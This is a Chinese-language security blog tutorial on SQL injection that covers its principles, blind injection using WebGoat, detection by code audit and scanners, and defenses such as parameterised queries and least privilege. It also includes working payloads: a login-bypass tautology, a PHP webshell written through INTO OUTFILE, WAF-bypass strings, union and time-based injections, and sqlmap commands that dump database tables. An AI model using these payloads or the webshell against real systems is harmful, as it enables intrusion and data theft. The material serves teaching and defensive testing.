Web安全-Sql注入

0x01 简介

Sql注入的大名在今天IT界可谓如雷贯耳,距离1998年第一次为公众所知以来已经过去20年,但是依然有一些网站、系统存在这样的问题,看看近期的数据泄露就知道了。

作为注入(Injection)的一种,常年占据Owasp Top 10 榜首。

 

1.1 原理

漏洞本身的原理其实很简单:

  • 用户可控制输入
  • sql语句拼接用户输入进行执行
// sql语句
Select [列名/ *] from [表名]
       Where [条件]
       Group by[列名| 表达式]
       Order by [列名| 表名| 位置] ASC/DEC

// sql查询语句,拼接用户输入(userName),正常/小白用户输入用户名(abc)当然没有任何问题
select * from users where name = '" + userName + "'

// 恶意用户输入 abc' or '1'='1 , 单引号阻断原有语句,增加永真条件,查询结果就完全不一样了。
select * from users where name = 'abc' or '1'='1' 

上面代码简单说明了其原理,当然真实环境下语句可能千差万别,参数也可能是数字型,语句可能是插入、更新或者存储过程。

  • 有回显的注入

注入代码执行后,在前端有回显,比如错误信息、查询结果等,可以方便的进行注入是否存在的判断以及利用。如下图

输入一个单引号提示错误信息与单引号+注释符的提示信息是不同的。实际中,会有sql报错信息直接返回。

  • 没有回显(盲注)

当Web服务器关闭错误回显,对于攻击者来说就缺少重要的“调试信息”,这时候就需要盲注的方法验证注入的Sql语句是否得到执行。盲注分为布尔型、时间型盲注,分别通过布尔值及时间函数导致的响应时间进行判断。

看下webgoat例子,注册用户,提交信息后先查询用户是否存在,然后进行返回。

先注册一个test01用户。

使用test01' and '1'='2 进行注册,test01已存在,正常逻辑下提示用户已存在,如果语句注入并执行,提示创建成功。

使用test02' or '1'='1进行注册,test02用户是不存在的,应该是提示创建成功,如果语句注入并执行,应该提示用户存在。

从结果看,可以验证我们的猜想,这里属于布尔型盲注。基于时间的盲注类似,只是验证是通过响应时间长短(时间型函数或复杂计算)。

1.2 危害

  • 绕过验证

比如在登录时,注入使得查询恒真,绕过登录验证。前文中注册的例子,也是绕过已有用户查询的验证。

这种情况比较基础,不过也比较少见了。出了在靶机、漏洞演练环境,基本没见过。

  • 拖库

由于可注入并执行sql语句,通过sql数据库一些内置表,逐步进行表、字段、记录的猜解,完成数据库拖库。

手工的相对比较耗时,通过工具(sqlmap)会简单很多。不多说,谁用谁知道。

  • 写入后门

通过 into out_file写入恶意代码,前端访问文件并通过预留参数执行命令(cd工具),实现webshell后门。

前提:

数据库运行账号有写入文件权限;

文件写入路径,web应用可读取并解析;

select “<?system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/index1.php’

 

0x02 Sql注入检测

2.1 白盒

  • 代码扫描工具

白盒进行代码扫描,比较知名的工具HP Fortify、Synopsys Coverity、Checkmarx,当然还有360等国内厂商出的工具,详细可以自行一下。

静态代码扫描,主要是通过模式匹配、控制流规则、数据流规则、语义规则在编译阶段通过词法语法分析进行问题识别。Fortify用的比较多,它是通过识别数据进入点、跟踪数据处理、最终在sql执行时进行sink规则匹配,从而判定是否存在sql注入。检查Sql注入误报较多,尤其mybatis、ibatis框架$符问题。

当然,这部分误报可通过分析进行屏蔽,也可以自定义规则实现误报消除。

工具在效率方面有很大的优势,并能够结合IED插件、Jenkins插件等实现快速扫描,提早发现并解决问题,适配敏捷&Devops快速交付、快速迭代需求。

 

 

  • 代码审计(手工)

手工代码审计,可以自上而下逐一定位分析,也可以自下而上搜索、分析。

自上而下,从前端功能开始,抓包获取请求地址、参数,分析web.xml中全局处理(查看是否有全局校验、过滤),然后通过path定位到具体的处理代码,跟踪参数传递过程及处理,最终到sql执行,通过分析参数是否来源于不可信外部输入、参数是否经过有效的过滤、校验,确认是否存在sql注入问题。

自下而上,搜索源码中sql执行的点,逐步向上跟踪参数处理及传递(代码调用)过程,分析参数是否来源于不可信外部输入、参数是否进行了有效的过滤、校验处理,确认是否存在sql注入风险。

可能还有其他方式,不过笔者仅试过这两种。两种方式各有优缺,自上而下可明确分析某个请求是否存在sql注入,目的性较为明确;自下而上方式没有明确的目标,但可以直击要害,不容易遗漏。当然,两种方式都有很大的工作量,并需要对主流框架、开发语言、校验处理较为熟悉。

实际工作中,会结合工具、两种方式一起进行审计,提高效率。

下面是常见的sql执行关键字。

// Mybatis $ 字符拼接
${var}

//iBatis $$字符拼接
$var$

// Java
java.sql.Statement.executeQuery,
java.sql.Statement.executeUpdate
java.sql.preparedStatement
PreparedStatement .executeQuery()

//Hibernate 
createSQLQuery/createQuery
select update insert delete

//.NET
System.Date.SqlClient
ExecuteNonQuery, ExcuteReader, ExecuteScalar

//PHP
mysql_query($sql, $con)

2.2 黑盒

  • web漏扫

和白盒类似,黑盒也有很多web漏扫扫描器,比如Webinspect、AppScan、AWVS、Burpsuite,都支持sql注入扫描。当然还有针对Sql注入的工具Sqlmap、Havij、Pangolin等。原理都类似,抓取正常请求后,对参数进行修改(注入预定义payload)后请求并对比响应结果,判定是否存在sql注入问题。当然,工具扫描逃不开误报、漏报的问题,视情况取舍。

看下Burp截图。

 

 

 

关于商用工具扫描,需要注意几点:

1. 使用会话扫描,避免遗漏url

2. 对系统进行全量探测(手工),提供完整的url及参数给工具进行分析,避免遗漏;webinspect、appscan 都支持手工探测方式录制请求。

  • 手工测试

手工挖掘sql注入,依赖渗透人员的经验、思路、漏洞敏感度,但是同样也有一些技巧可循。

理论上来说,所有和后端有交互的地方,都有可能存在sql注入。

常见的场景,部分笔者遇到过,部分从遇到过:

1. http 头部,x-forward-for,cookie信息,user-agent,referer

2. http get请求,url参数

3. 注册、登录、查询等输入框

4. 列表排序功能

5. 下拉输入框(选择预定的值)

6. Portal页面feedback功能,可能会先查询是否重复在进行插入,类似webgoat 盲注(注册)案例

 

一些绕过技巧,可能对于现在waf都已无效,做个思路扩展还是可以。

// 1. 大小写绕过
http://example/index.php?id=1 uNIoN sELecT 1 from user --

// 2. 注释绕过
Sel/*abc*/ect * from table where xxx
/!*select*/ * from table where

// 3. 编码绕过 url编码、base64、hex转码等
/*!u%6eion*/ /*!se%6cect*/ 
select * from users where username = 0x7465737431;

// 4. 重复关键字绕过,针对关键字过滤的情况
SELselectECT  * from table xxxxxx

// 5. 空格绕过
mysql 可使用+,其他比如
两个空格、()、回车(url %0a)、tap

// 6. 宽字符绕过,针对GBK编码,通过\进行转义的情况
%5C%27=\'
%bf%27 %df%27 %aa%27 
%df\’ = %df%5c%27=縗’

// 7. 过滤逗号 
select substr("string" from 1 for 3)

详细可以参考连接,总结了很多
https://blog.csdn.net/huanghelouzi/article/details/82995313

下面是多年前总结的特殊字符和关键字,见笑了。

字符

说明

Mysql

Oralce

字符注入,参数使用引号闭合;

Select * from table where a=’a’;

‘’

第一个单引号作为转义,达到单引号效果;

 

,

SQL语句字段分隔,函数参数分隔;

Select a,b from table where a=’a’;

=<>

 

Select * from table where a<>1;

()

闭合语句,函数,构造表达式

Select * from table where a=(ASCII(‘A’)) and

 length(subtr(‘abc’,1,1))>1

Insert into table(a,b,c,d) values(1,1,1,1)

注释

注释语句,使注入后方SQL不执行,避免SQL报错

-- 双减号后面有空格

Select * from a; insert xxx xx --

# 注释到行结束

Select * from a; insert xxx xx #

/**/ 多行注释,用于关键字被过滤时绕过

Sel/*abc*/ect * from table where xxx

--

Select * from a; insert xxx xx --

/**/ 多行注释,用于关键字被过滤时绕过

 

+

 

Mysql用户空格占位

Select+a+from+table

 

 

关键字

说明

Mysql

Oralce

布尔运算

条件表达式构造

Where 1=1

Where 1=2

Order by

排序,结构性注入;

猜查询列数,使用数字1,2,3表示第一列,第二列,,,

Select * from table where a=’a’ or 1=1 order by 1

Union

行合并,联合查询,猜查询列数,字段类型,信息显示

Select * from table where a=’a’ union select 1,1,1,null

Mysql 可不带from

Select * from table where a=’a’ union selct 1,1,1,1 from dual

Oracle可使用全局访问表dual

休眠/等待

基于时间的盲注

Benchmark(count exp)

Sleep()

Waitfor()

 

字符操作

Length

Substr

ASCII

长度判断

字符串截取,配合ASCII进行逐字符猜解

拖库

通过注入payload,获取整个数据库中数据,sqlmap谁用谁知道

User, version, database, show databases

元数据表:

Information_schema.columns,

Inforamtion_shcema.tables

Select user from dual;

Sys_context(‘USERENV’,’SESSION_US’)

Select banner from v$version

Select table_name, column_name from all_table_columns

元数据表:dual

All_tab_columns

User_object

All_tables

 

  • 灰盒

实际上,除了黑盒或白盒的方法,还有灰盒测试,结合代码、应用、工具扫描等手段进行漏洞检测。

在企业安全团队,可能蓝军团队会纯黑盒进行检测,模拟外部黑客、白帽的攻击场景;红军团队一般会结合白盒、黑盒进行检测(灰盒),保证发现所有问题,避免漏洞同时兼顾效率。

 

0x03 防御

  • 使用预编译,参数绑定
 PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = ? and password = ?");
    statement.setString(1, username_login);
    statement.setString(2, password_login);
    ResultSet resultSet = statement.executeQuery();
  • 外部不可信参数校验

包括数据类型、特殊字符等;由于过滤不全可能导致绕过,所以才有五花八门的绕过技巧。

推荐使用安全的过滤函数,如OWASP ESAPI

ESAPI.encoder().encodeForSQL(new OracleCodec(),queryparam);
  • 限制数据库账号权限

数据库运行账号取消文件读写权限,避免存在注入导致webshell。

同时,对web应用运行账号权限进行限制,读写目录等。

  • 存储过程

类似预编译,不过需要预先编写procedure,发布、维护上相对麻烦。目前没遇到过使用存储过程来做sql注入防护,大多是通过存储过程进行复杂的查询、 运算、数据操作等。

  • 数据库敏感信息加密存储

严格来说,这一条不算直接防御sql注入。数据加密后存储,发生泄露时可在一定程度减小影响,增加数据破解成本,算是对其他失效控制措施的补充。目前大多数站点、系统对用户密码进行单向hash后存储。

 

 

0x04 sqlmap

简介就不用了,总之很强大。

资源如下:

// git 库,clone本地使用
https://github.com/sqlmapproject/sqlmap

// python2环境,pip安装
pip install sqlmap

// gui 工具 可参考
https://www.freebuf.com/sectool/260.html 

常用语句、参数。其他介绍,看帮助文档(-h),一个h不行,那就两个(-hh)

// 指定db类型,指定参数注入
sqlmap -u xxx.com/index.html?id=1  --dbms mysql -p id 

// level默认1, 2以上会查看cookie、user-agent
// risk, 默认1, 2、3可能对 数据库造成影响
sqlmap -u xxx.com/index.htmlid=1 --level=1 --risk=1

// -r 指定文件 --table枚举表
sqlmap -r changesql.txt --tables  --no-cast --threads 5 

// 枚举列,-T 指定表名
sqlmap -r changesql.txt --columns  -T employee --threads 5 

// --dump 导出表内容 
sqlmap -r changesql.txt --dump -T employee --threads 5 

 

注:本文仅作为个人总结,重在思路及工作经验记录。转载请注明。

参考:

《白帽子web安全》

https://cloud.tencent.com/developer/news/257713

http://www.xianxianlabs.com/2018/06/03/webgoat1/#Stage5 

https://blog.csdn.net/huanghelouzi/article/details/82995313

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值